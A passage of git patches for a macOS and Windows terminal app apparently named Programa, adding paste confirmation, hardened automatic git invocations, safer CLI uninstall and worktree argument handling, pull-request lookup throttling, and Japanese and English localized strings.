ターミナルを起動できませんでした。再試行コピー貼り付けターミナル + 貼り付けの確認このテキストには改行または制御文字が含まれています。このターミナルのプログラムはブラケットペーストを有効にしていないため、貼り付けた時点で実行される可能性があります。 diff --git a/windows/Programa/TerminalView.cs b/windows/Programa/TerminalView.cs index 0e1c5ab61..0a9964288 100644 --- a/windows/Programa/TerminalView.cs +++ b/windows/Programa/TerminalView.cs @@ -161,7 +161,12 @@ public async void Paste() var content = Clipboard.GetContent(); if (!content.Contains(StandardDataFormats.Text)) return; var text = await content.GetTextAsync(); - if (ReferenceEquals(_session, session)) NativeTerminal.Paste(session, Encoding.UTF8.GetBytes(text), true); + var bytes = Encoding.UTF8.GetBytes(text); + if (!ReferenceEquals(_session, session)) return; + // cmd.exe and PowerShell never enable bracketed paste, so a multi-line + // clipboard would run every line at once. + if (NativeTerminal.PasteNeedsConfirmation(session, bytes) && !await ConfirmPasteAsync(text)) return; + if (ReferenceEquals(_session, session)) NativeTerminal.Paste(session, bytes, true); } catch (Exception error) { @@ -169,6 +174,27 @@ public async void Paste() } } + private async Task ConfirmPasteAsync(string text) + { + const int PreviewLines = 5; + var lines = text.Replace("\r\n", "\n").Split('\n'); + var preview = string.Join("\n", lines.Take(PreviewLines)); + if (lines.Length > PreviewLines) preview += "\n\u2026"; + var content = new StackPanel { Spacing = 8 }; + content.Children.Add(new TextBlock { Text = Localizer.Get("PasteConfirmMessage"), TextWrapping = TextWrapping.Wrap }); + content.Children.Add(new TextBlock { Text = preview, FontFamily = new FontFamily("Cascadia Mono, Consolas"), TextWrapping = TextWrapping.NoWrap, MaxLines = PreviewLines + 1 }); + var dialog = new ContentDialog + { + XamlRoot = XamlRoot, + Title = Localizer.Get("PasteConfirmTitle"), + Content = content, + PrimaryButtonText = Localizer.Get("TerminalPaste"), + CloseButtonText = Localizer.Get("Cancel"), + DefaultButton = ContentDialogButton.Close, + }; + return await dialog.ShowAsync() == ContentDialogResult.Primary; + } + public void Dispose() { if (_disposed) return; @@ -648,6 +674,8 @@ private SafeSessionHandle() : base(true) { } [DllImport(Dll, EntryPoint = "programa_terminal_copy_selection")] internal static extern int CopySelection(SafeSessionHandle session, out Buffer buffer); [DllImport(Dll, EntryPoint = "programa_terminal_is_terminated")] [return: MarshalAs(UnmanagedType.I1)] internal static extern bool IsTerminated(SafeSessionHandle session); + [DllImport(Dll, EntryPoint = "programa_terminal_paste_needs_confirmation")] + [return: MarshalAs(UnmanagedType.I1)] private static extern bool PasteNeedsConfirmationNative(SafeSessionHandle session, byte[] data, nuint length); [DllImport(Dll, EntryPoint = "programa_terminal_paste")] private static extern int PasteNative(SafeSessionHandle session, byte[] data, nuint length, [MarshalAs(UnmanagedType.I1)] bool bracketed); internal static SafeSessionHandle? Create(byte[] config, out string error) @@ -658,6 +686,7 @@ private SafeSessionHandle() : base(true) { } } internal static int Write(SafeSessionHandle session, byte[] data) => WriteNative(session, data, (nuint)data.Length); internal static int Paste(SafeSessionHandle session, byte[] data, bool bracketed) => PasteNative(session, data, (nuint)data.Length, bracketed); + internal static bool PasteNeedsConfirmation(SafeSessionHandle session, byte[] data) => PasteNeedsConfirmationNative(session, data, (nuint)data.Length); internal static bool TryCopySelection(SafeSessionHandle session, out string value) { var status = CopySelection(session, out var buffer); From 309ebb30d7b933f9a62f715bc2ab9446755582b1 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 12:27:12 -0300 Subject: [PATCH 02/21] fix: harden git probes, directory trust, and project config --- GhosttyTabs.xcodeproj/project.pbxproj | 8 + Resources/Localizable.xcstrings | 204 +++++++++ Sources/CLIInstaller.swift | 73 ++- Sources/ClaudeQuotaMonitor.swift | 6 + Sources/GitMetadataProber.swift | 185 +++++++- Sources/GitWorktreeManager.swift | 55 ++- Sources/JSONCParser.swift | 183 +++++--- Sources/PortScanner.swift | 107 +++-- Sources/ProgramaConfig.swift | 7 + Sources/ProgramaConfigExecutor.swift | 114 ++++- Sources/ProgramaDirectoryTrust.swift | 172 ++++--- Sources/ProgramaSettingsFileStore.swift | 83 +++- Sources/ReviewDiffParser.swift | 7 +- Sources/ReviewDiffProber.swift | 46 +- Sources/SettingsView.swift | 137 +++++- Sources/SidebarQuotaFooter.swift | 3 - Sources/SidebarVisuals.swift | 4 +- Sources/TabManager+GitMetadataPolling.swift | 15 +- Sources/Workspace+Layout.swift | 12 +- .../ClaudeQuotaSnapshotParserTests.swift | 22 +- programaTests/ConfigFixSweepCONFTests.swift | 422 ++++++++++++++++++ .../ConfigFixSweepRegressionTests.swift | 217 +++++++++ .../ProgramaDirectoryTrustTests.swift | 67 ++- ...st_worktree_remove_never_deletes_branch.py | 46 +- 24 files changed, 1875 insertions(+), 320 deletions(-) create mode 100644 programaTests/ConfigFixSweepCONFTests.swift create mode 100644 programaTests/ConfigFixSweepRegressionTests.swift diff --git a/GhosttyTabs.xcodeproj/project.pbxproj b/GhosttyTabs.xcodeproj/project.pbxproj index cf966b134..9ea6aed5e 100644 --- a/GhosttyTabs.xcodeproj/project.pbxproj +++ b/GhosttyTabs.xcodeproj/project.pbxproj @@ -298,6 +298,8 @@ F3000000A1B2C3D4E5F60718 /* CJKIMEInputTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */; }; F4000000A1B2C3D4E5F60718 /* GhosttyConfigTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */; }; F5000000A1B2C3D4E5F60718 /* SessionPersistenceTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */; }; + BEEF5040A1B2C3D4E5F60001 /* ConfigFixSweepCONFTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEEF5040A1B2C3D4E5F60002 /* ConfigFixSweepCONFTests.swift */; }; + BEEF5040A1B2C3D4E5F60003 /* ConfigFixSweepRegressionTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEEF5040A1B2C3D4E5F60004 /* ConfigFixSweepRegressionTests.swift */; }; RRPL0002A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */; }; 3C03A46E60CFD11D198C9504 /* SessionAutosaveCoordinatorTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */; }; SWCT000001A1B2C3D4E5F607 /* SessionWALCoreTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */; }; @@ -708,6 +710,8 @@ F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CJKIMEInputTests.swift; sourceTree = ""; }; F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = GhosttyConfigTests.swift; sourceTree = ""; }; F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionPersistenceTests.swift; sourceTree = ""; }; + BEEF5040A1B2C3D4E5F60002 /* ConfigFixSweepCONFTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ConfigFixSweepCONFTests.swift; sourceTree = ""; }; + BEEF5040A1B2C3D4E5F60004 /* ConfigFixSweepRegressionTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ConfigFixSweepRegressionTests.swift; sourceTree = ""; }; RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RendererRealizationPlannerTests.swift; sourceTree = ""; }; D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionAutosaveCoordinatorTests.swift; sourceTree = ""; }; SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionWALCoreTests.swift; sourceTree = ""; }; @@ -1230,6 +1234,8 @@ F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */, F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */, F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */, + BEEF5040A1B2C3D4E5F60002 /* ConfigFixSweepCONFTests.swift */, + BEEF5040A1B2C3D4E5F60004 /* ConfigFixSweepRegressionTests.swift */, RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */, D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */, SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */, @@ -1695,6 +1701,8 @@ F3000000A1B2C3D4E5F60718 /* CJKIMEInputTests.swift in Sources */, F4000000A1B2C3D4E5F60718 /* GhosttyConfigTests.swift in Sources */, F5000000A1B2C3D4E5F60718 /* SessionPersistenceTests.swift in Sources */, + BEEF5040A1B2C3D4E5F60001 /* ConfigFixSweepCONFTests.swift in Sources */, + BEEF5040A1B2C3D4E5F60003 /* ConfigFixSweepRegressionTests.swift in Sources */, RRPL0002A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift in Sources */, 3C03A46E60CFD11D198C9504 /* SessionAutosaveCoordinatorTests.swift in Sources */, SWCT000001A1B2C3D4E5F607 /* SessionWALCoreTests.swift in Sources */, diff --git a/Resources/Localizable.xcstrings b/Resources/Localizable.xcstrings index c05bcb9b5..73122b84f 100644 --- a/Resources/Localizable.xcstrings +++ b/Resources/Localizable.xcstrings @@ -19125,6 +19125,210 @@ } } } + }, + "conf.settingsFile.parseError": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "settings.json could not be read, so the last valid settings stay in effect. %@" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "settings.json を読み込めなかったため、最後に有効だった設定を引き続き使用しています。%@" + } + } + } + }, + "conf.programaConfig.invalidCommand.title": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Command Needs Correction" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "コマンドの修正が必要です" + } + } + } + }, + "conf.programaConfig.invalidCommand.message": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "This programa.json command contains control characters (such as Escape or Tab) that the shell would act on but the confirmation dialog cannot show. Remove them and try again. Nothing was run." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "この programa.json のコマンドには、シェルが解釈するものの確認ダイアログには表示できない制御文字(Escape や Tab など)が含まれています。それらを削除してもう一度お試しください。何も実行されていません。" + } + } + } + }, + "conf.programaConfig.urlRefused": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "url=%@ (not opened: only http and https URLs load)" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "url=%@(開きません: http と https の URL のみ読み込めます)" + } + } + } + }, + "conf.cliInstaller.error.bundledMissing": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Bundled Programa CLI was not found at %@." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "同梱の Programa CLI が %@ に見つかりませんでした。" + } + } + } + }, + "conf.cliInstaller.error.parentNotDirectory": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Expected %@ to be a directory." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ はディレクトリである必要があります。" + } + } + } + }, + "conf.cliInstaller.error.destinationIsDirectory": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ is a directory. Remove or rename it and try again." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ はディレクトリです。削除するか名前を変更してから、もう一度お試しください。" + } + } + } + }, + "conf.cliInstaller.error.installVerificationFailed": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Installed symlink at %@ did not point to the bundled programa CLI." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ にインストールしたシンボリックリンクが、同梱の programa CLI を指していませんでした。" + } + } + } + }, + "conf.cliInstaller.error.uninstallVerificationFailed": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Failed to remove %@." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ を削除できませんでした。" + } + } + } + }, + "conf.cliInstaller.error.notProgramaCLI": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ is not a link to the Programa CLI, so it was left in place. Remove it yourself if you no longer need it." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ は Programa CLI へのリンクではないため、そのまま残しました。不要な場合はご自身で削除してください。" + } + } + } + }, + "conf.cliInstaller.error.privilegedCommandFailed": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Administrator action failed: %@" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "管理者権限での操作に失敗しました: %@" + } + } + } + }, + "conf.cliInstaller.error.osascriptStatus": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "osascript exited with status %@." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "osascript がステータス %@ で終了しました。" + } + } + } } }, "version": "1.0" diff --git a/Sources/CLIInstaller.swift b/Sources/CLIInstaller.swift index e41902b63..1693ea4a9 100644 --- a/Sources/CLIInstaller.swift +++ b/Sources/CLIInstaller.swift @@ -1,12 +1,4 @@ -import AppKit -import SwiftUI -import Bonsplit -import CoreServices -import UserNotifications -import WebKit -import Combine -import ObjectiveC.runtime -import Darwin +import Foundation struct ProgramaCLIPathInstaller { struct InstallOutcome { @@ -27,22 +19,46 @@ struct ProgramaCLIPathInstaller { case destinationIsDirectory(path: String) case installVerificationFailed(path: String) case uninstallVerificationFailed(path: String) + case destinationNotProgramaCLI(path: String) case privilegedCommandFailed(message: String) var errorDescription: String? { switch self { case .bundledCLIMissing(let expectedPath): - return "Bundled Programa CLI was not found at \(expectedPath)." + return String( + format: String(localized: "conf.cliInstaller.error.bundledMissing", defaultValue: "Bundled Programa CLI was not found at %@."), + expectedPath + ) case .destinationParentNotDirectory(let path): - return "Expected \(path) to be a directory." + return String( + format: String(localized: "conf.cliInstaller.error.parentNotDirectory", defaultValue: "Expected %@ to be a directory."), + path + ) case .destinationIsDirectory(let path): - return "\(path) is a directory. Remove or rename it and try again." + return String( + format: String(localized: "conf.cliInstaller.error.destinationIsDirectory", defaultValue: "%@ is a directory. Remove or rename it and try again."), + path + ) case .installVerificationFailed(let path): - return "Installed symlink at \(path) did not point to the bundled programa CLI." + return String( + format: String(localized: "conf.cliInstaller.error.installVerificationFailed", defaultValue: "Installed symlink at %@ did not point to the bundled programa CLI."), + path + ) case .uninstallVerificationFailed(let path): - return "Failed to remove \(path)." + return String( + format: String(localized: "conf.cliInstaller.error.uninstallVerificationFailed", defaultValue: "Failed to remove %@."), + path + ) + case .destinationNotProgramaCLI(let path): + return String( + format: String(localized: "conf.cliInstaller.error.notProgramaCLI", defaultValue: "%@ is not a link to the Programa CLI, so it was left in place. Remove it yourself if you no longer need it."), + path + ) case .privilegedCommandFailed(let message): - return "Administrator action failed: \(message)" + return String( + format: String(localized: "conf.cliInstaller.error.privilegedCommandFailed", defaultValue: "Administrator action failed: %@"), + message + ) } } } @@ -102,6 +118,11 @@ struct ProgramaCLIPathInstaller { } func uninstall() throws -> UninstallOutcome { + // Only ever delete our own symlink: anything else at this path (another tool's + // binary, a user's script) is not ours to remove. + if destinationEntryExists(), !destinationIsProgramaCLISymlink() { + throw InstallerError.destinationNotProgramaCLI(path: destinationURL.path) + } do { let removedExistingEntry = try uninstallWithoutAdministratorPrivileges() return UninstallOutcome( @@ -166,6 +187,23 @@ struct ProgramaCLIPathInstaller { return existed } + /// True when the destination is a symlink into a `.app` bundle's bundled CLI + /// (`.app/Contents/Resources/bin/programa`). Read without following the link, + /// so a link left dangling by a deleted app still qualifies. + private func destinationIsProgramaCLISymlink() -> Bool { + guard let rawTarget = try? fileManager.destinationOfSymbolicLink(atPath: destinationURL.path) else { + return false + } + let target = URL( + fileURLWithPath: rawTarget, + relativeTo: destinationURL.deletingLastPathComponent() + ).standardizedFileURL.path + let bundledSuffix = "/Contents/Resources/bin/programa" + guard target.hasSuffix(bundledSuffix) else { return false } + let bundlePath = String(target.dropLast(bundledSuffix.count)) + return bundlePath.hasSuffix(".app") + } + /// Check if the destination path has any filesystem entry (including dangling symlinks). /// `FileManager.fileExists` follows symlinks, so a dangling symlink returns false. private func destinationEntryExists() -> Bool { @@ -285,7 +323,10 @@ struct ProgramaCLIPathInstaller { )?.trimmingCharacters(in: .whitespacesAndNewlines) ?? "" let details = stderrText.isEmpty ? stdoutText : stderrText let message = details.isEmpty - ? "osascript exited with status \(process.terminationStatus)." + ? String( + format: String(localized: "conf.cliInstaller.error.osascriptStatus", defaultValue: "osascript exited with status %@."), + String(process.terminationStatus) + ) : details throw InstallerError.privilegedCommandFailed(message: message) } diff --git a/Sources/ClaudeQuotaMonitor.swift b/Sources/ClaudeQuotaMonitor.swift index 2e605bdd0..43ef73cb1 100644 --- a/Sources/ClaudeQuotaMonitor.swift +++ b/Sources/ClaudeQuotaMonitor.swift @@ -307,6 +307,12 @@ struct ClaudeProviderUsageFetcher: ProviderUsageFetching { timeout: TimeInterval, now: Date ) async -> ProviderUsageResult { + // DECISION D2: usage numbers come only from the statusline cache file, which only some + // setups write. Without it there is nothing to show, so report the provider as + // unavailable (the footer omits it) without spawning `claude auth status`. + guard FileManager.default.fileExists(atPath: cacheURL.path) else { + return .unavailable(.claude) + } switch await authStatus(executableURL: executableURL, timeout: timeout) { case .loggedOut: return .unavailable(.claude) diff --git a/Sources/GitMetadataProber.swift b/Sources/GitMetadataProber.swift index 7281332d9..6255d789f 100644 --- a/Sources/GitMetadataProber.swift +++ b/Sources/GitMetadataProber.swift @@ -110,7 +110,8 @@ enum CanonicalSubprocessRunner { timeout: TimeInterval?, stdoutLimit: Int, stderrLimit: Int, - executableURL: URL? = nil + executableURL: URL? = nil, + environmentOverrides: [String: String] = [:] ) -> CanonicalSubprocessResult { let stdout = Pipe() let stderr = Pipe() @@ -130,6 +131,7 @@ enum CanonicalSubprocessRunner { path: launchPath, arguments: launchArguments, currentDirectory: currentDirectory, + environmentOverrides: environmentOverrides, stdout: stdout, stderr: stderr ) { @@ -262,6 +264,7 @@ enum CanonicalSubprocessRunner { path: String, arguments: [String], currentDirectory: String, + environmentOverrides: [String: String], stdout: Pipe, stderr: Pipe ) -> SpawnResult { @@ -309,7 +312,9 @@ enum CanonicalSubprocessRunner { guard var argv = duplicatedCStringArray([path] + arguments), var environment = duplicatedCStringArray( - ProcessInfo.processInfo.environment.map { "\($0.key)=\($0.value)" } + ProcessInfo.processInfo.environment + .merging(environmentOverrides) { _, override in override } + .map { "\($0.key)=\($0.value)" } ) else { return .failure("could not allocate subprocess arguments") } @@ -431,6 +436,63 @@ enum CanonicalSubprocessRunner { } } +// MARK: - Automatic git invocations + +extension CanonicalSubprocessRunner { + /// Options for every git command Programa runs on its own (sidebar polling, review diff, + /// worktree helpers), placed before the subcommand. The working directory can be any path a + /// terminal reported (including through OSC 7), so repository config there is untrusted: + /// `core.fsmonitor` names a command git would run, `safe.bareRepository=explicit` stops a + /// bare repository committed inside a checkout from being discovered, and + /// `--no-optional-locks` keeps a background probe from taking `index.lock` while the user + /// runs git themselves. + static let automaticGitOptions: [String] = [ + "--no-optional-locks", + "-c", "core.fsmonitor=false", + "-c", "core.untrackedCache=false", + "-c", "safe.bareRepository=explicit", + ] + + /// Environment for automatic git commands and for `gh`, which runs git internally where + /// command-line `-c` cannot reach. `GIT_CONFIG_COUNT` entries apply at command-line scope, + /// the same as `-c`. + static let automaticGitEnvironment: [String: String] = [ + "GIT_OPTIONAL_LOCKS": "0", + "GIT_CONFIG_COUNT": "3", + "GIT_CONFIG_KEY_0": "core.fsmonitor", + "GIT_CONFIG_VALUE_0": "false", + "GIT_CONFIG_KEY_1": "core.untrackedCache", + "GIT_CONFIG_VALUE_1": "false", + "GIT_CONFIG_KEY_2": "safe.bareRepository", + "GIT_CONFIG_VALUE_2": "explicit", + ] + + static func automaticGitArguments(_ arguments: [String]) -> [String] { + automaticGitOptions + arguments + } + + /// Runs `git` with `automaticGitOptions` before `arguments` and `automaticGitEnvironment`. + static func runAutomaticGit( + arguments: [String], + currentDirectory: String, + timeout: TimeInterval?, + stdoutLimit: Int, + stderrLimit: Int, + executableURL: URL? = nil + ) -> CanonicalSubprocessResult { + run( + executable: "git", + arguments: automaticGitArguments(arguments), + currentDirectory: currentDirectory, + timeout: timeout, + stdoutLimit: stdoutLimit, + stderrLimit: stderrLimit, + executableURL: executableURL, + environmentOverrides: automaticGitEnvironment + ) + } +} + // MARK: - GitMetadataProber // // Stateless git/GitHub CLI probing library: given a working directory, runs `git`/`gh` @@ -438,7 +500,9 @@ enum CanonicalSubprocessRunner { // TabManager (which owns the stateful scheduling/timers/dedup around these probes) so the // probing logic itself has no dependency on TabManager instance state and can be tested and // reasoned about independently. A `struct` (not an `enum` namespace) so TabManager can hold -// a thin owned instance; the API surface itself remains static/stateless. +// a thin owned instance; the API surface is static. The one piece of shared state is the +// process-wide pull-request lookup throttle (`PullRequestLookupThrottle`), which limits the +// GitHub `gh` calls while the cheap local git probes keep their own cadence. struct GitMetadataProber { enum WorkspacePullRequestSnapshot: Equatable { case unsupportedRepository @@ -467,6 +531,93 @@ struct GitMetadataProber { private nonisolated static let workspacePullRequestProbeTimeout: TimeInterval = 5.0 + // MARK: PR lookup throttle (DECISION D1) + // + // The local git probe runs every 5 s for the selected workspace; `gh pr list` and + // `gh pr checks` are network calls to GitHub, so they run only when the branch of a + // directory changes or the last answer is older than `pullRequestLookupRefreshInterval`. + // After a `gh` failure the next attempt waits `pullRequestLookupBackoff(failures:)`. + + nonisolated static let pullRequestLookupRefreshInterval: TimeInterval = 60 + nonisolated static let pullRequestLookupMaxBackoff: TimeInterval = 600 + private nonisolated static let pullRequestLookupInitialBackoff: TimeInterval = 5 + private nonisolated static let pullRequestLookupCacheLimit = 256 + + /// Wait before retrying `gh` after `failures` consecutive transient failures: + /// 5 s, 10 s, 20 s, ... capped at 10 minutes. Starts short so the startup retry burst + /// (TabManager's initial probe delays) can still recover from one slow first call. + nonisolated static func pullRequestLookupBackoff(failures: Int) -> TimeInterval { + guard failures > 0 else { return 0 } + let exponent = Double(min(failures - 1, 16)) + return min(pullRequestLookupInitialBackoff * pow(2, exponent), pullRequestLookupMaxBackoff) + } + + private final class PullRequestLookupThrottle: @unchecked Sendable { + struct Entry { + let branch: String + var snapshot: WorkspacePullRequestSnapshot + var lastAttemptAt: Date + var consecutiveFailures: Int + } + + private let lock = NSLock() + private var entries: [String: Entry] = [:] + + /// The cached answer when a fresh `gh` lookup is not due yet, else nil. + func cachedSnapshot(directory: String, branch: String, now: Date) -> WorkspacePullRequestSnapshot? { + lock.lock() + defer { lock.unlock() } + guard let entry = entries[directory], entry.branch == branch else { return nil } + let wait = entry.consecutiveFailures > 0 + ? GitMetadataProber.pullRequestLookupBackoff(failures: entry.consecutiveFailures) + : GitMetadataProber.pullRequestLookupRefreshInterval + return now.timeIntervalSince(entry.lastAttemptAt) < wait ? entry.snapshot : nil + } + + func record( + _ snapshot: WorkspacePullRequestSnapshot, + directory: String, + branch: String, + now: Date, + limit: Int + ) { + lock.lock() + defer { lock.unlock() } + let previous = entries[directory].flatMap { $0.branch == branch ? $0 : nil } + if case .transientFailure = snapshot { + // Keep showing the last good answer during the backoff. + let lastGood = previous.map(\.snapshot).flatMap { cached -> WorkspacePullRequestSnapshot? in + if case .transientFailure = cached { return nil } + return cached + } + entries[directory] = Entry( + branch: branch, + snapshot: lastGood ?? .transientFailure, + lastAttemptAt: now, + consecutiveFailures: (previous?.consecutiveFailures ?? 0) + 1 + ) + } else { + entries[directory] = Entry(branch: branch, snapshot: snapshot, lastAttemptAt: now, consecutiveFailures: 0) + } + if entries.count > limit, + let oldest = entries.min(by: { $0.value.lastAttemptAt < $1.value.lastAttemptAt })?.key { + entries.removeValue(forKey: oldest) + } + } + + func removeAll() { + lock.lock() + entries.removeAll() + lock.unlock() + } + } + + private nonisolated static let pullRequestLookupThrottle = PullRequestLookupThrottle() + + nonisolated static func resetPullRequestLookupThrottleForTesting() { + pullRequestLookupThrottle.removeAll() + } + // Widened from `private` to `internal`: called from TabManager.swift. nonisolated static func initialWorkspaceGitMetadataSnapshot( for directory: String @@ -503,6 +654,25 @@ struct GitMetadataProber { return .notFound } + let now = Date() + if let cached = pullRequestLookupThrottle.cachedSnapshot(directory: directory, branch: branch, now: now) { + return cached + } + let snapshot = uncachedWorkspacePullRequestSnapshot(directory: directory, branch: branch) + pullRequestLookupThrottle.record( + snapshot, + directory: directory, + branch: branch, + now: now, + limit: pullRequestLookupCacheLimit + ) + return snapshot + } + + private nonisolated static func uncachedWorkspacePullRequestSnapshot( + directory: String, + branch: String + ) -> WorkspacePullRequestSnapshot { let repoSlugs = githubRepositorySlugs(directory: directory) guard !repoSlugs.isEmpty else { return .unsupportedRepository @@ -830,6 +1000,8 @@ struct GitMetadataProber { return result.stdout } + /// Every probe here is automatic, so git gets `automaticGitOptions` and both git and `gh` + /// get `automaticGitEnvironment`. private nonisolated static func runCommandResult( directory: String, executable: String, @@ -838,11 +1010,14 @@ struct GitMetadataProber { ) -> CanonicalSubprocessResult { CanonicalSubprocessRunner.run( executable: executable, - arguments: arguments, + arguments: executable == "git" + ? CanonicalSubprocessRunner.automaticGitArguments(arguments) + : arguments, currentDirectory: directory, timeout: timeout, stdoutLimit: commandStdoutLimit, - stderrLimit: commandStderrLimit + stderrLimit: commandStderrLimit, + environmentOverrides: CanonicalSubprocessRunner.automaticGitEnvironment ) } diff --git a/Sources/GitWorktreeManager.swift b/Sources/GitWorktreeManager.swift index 4fb95a6d2..526d25a0e 100644 --- a/Sources/GitWorktreeManager.swift +++ b/Sources/GitWorktreeManager.swift @@ -160,24 +160,28 @@ struct GitWorktreeManager { return .worktreePathExists } + // `--` ends option parsing, so a caller-supplied path or base such as `--detach` is + // read as a path or ref name, never as an option. `-b ` is an option value and + // is safe before it. var arguments = ["worktree", "add"] - if branchExistsLocally(branch, repoRoot: repoRoot) { - arguments.append(path) - arguments.append(branch) + let branchExisted = branchExistsLocally(branch, repoRoot: repoRoot) + if branchExisted { + arguments.append(contentsOf: ["--", path, branch]) } else { - arguments.append(contentsOf: ["-b", branch]) - arguments.append(path) - arguments.append(base ?? "HEAD") + arguments.append(contentsOf: ["-b", branch, "--", path, base ?? "HEAD"]) } let result = runGitCommand(directory: repoRoot, arguments: arguments) guard let result else { return .gitCommandFailed(message: "Failed to run git") } - if result.timedOut { - return .gitCommandFailed(message: "git worktree add timed out") - } - guard result.exitStatus == 0 else { + guard !result.timedOut, result.exitStatus == 0 else { + if !branchExisted { + deleteBranchIfUnused(branch, repoRoot: repoRoot) + } + if result.timedOut { + return .gitCommandFailed(message: "git worktree add timed out") + } let message = (result.stderr ?? "").trimmingCharacters(in: .whitespacesAndNewlines) return .gitCommandFailed(message: message.isEmpty ? "git worktree add failed" : message) } @@ -188,14 +192,28 @@ struct GitWorktreeManager { return .success(entry) } + /// Deletes local branch `branch` when no worktree has it checked out. Used to undo a + /// branch that this process created with `worktree add -b` when the add (or the caller's + /// follow-up) failed. Callers must only pass a branch they created: this does not check + /// whether the branch holds commits. Returns whether the branch is gone afterwards. + @discardableResult + nonisolated static func deleteBranchIfUnused(_ branch: String, repoRoot: String) -> Bool { + guard branchExistsLocally(branch, repoRoot: repoRoot) else { return true } + guard worktreeEntry(forBranch: branch, repoRoot: repoRoot) == nil else { return false } + let result = runGitCommand( + directory: repoRoot, + arguments: ["update-ref", "-d", "refs/heads/\(branch)"] + ) + return result?.exitStatus == 0 && result?.timedOut == false + } + // MARK: - Remove - /// Removes the worktree at `path`. Never passes `--force` to git regardless of caller - /// intent for dirty-state override -- `force` here only controls whether we retry with - /// `--force` after confirming the worktree is *not* dirty for some other git-refusal - /// reason (e.g. locked). A dirty worktree always surfaces as `.worktreeDirty` so the - /// caller can require an explicit second confirmation instead of silently discarding - /// uncommitted work. This function never deletes the underlying branch. + /// Removes the worktree at `path`. With `force: false`, git refuses a worktree with + /// modified or untracked files and that refusal surfaces as `.worktreeDirty`, so the caller + /// can ask for an explicit second confirmation instead of discarding uncommitted work. + /// With `force: true`, `--force` is passed to git and a dirty worktree is removed. This + /// function never deletes the underlying branch. nonisolated static func remove(repoRoot: String, path: String, force: Bool) -> RemoveOutcome { guard worktreeEntry(atPath: path, repoRoot: repoRoot) != nil else { return .worktreeNotFound @@ -205,7 +223,7 @@ struct GitWorktreeManager { if force { arguments.append("--force") } - arguments.append(path) + arguments.append(contentsOf: ["--", path]) let result = runGitCommand(directory: repoRoot, arguments: arguments) guard let result else { @@ -238,8 +256,7 @@ struct GitWorktreeManager { arguments: [String], timeout: TimeInterval = defaultTimeout ) -> CanonicalSubprocessResult? { - CanonicalSubprocessRunner.run( - executable: "git", + CanonicalSubprocessRunner.runAutomaticGit( arguments: arguments, currentDirectory: directory, timeout: timeout, diff --git a/Sources/JSONCParser.swift 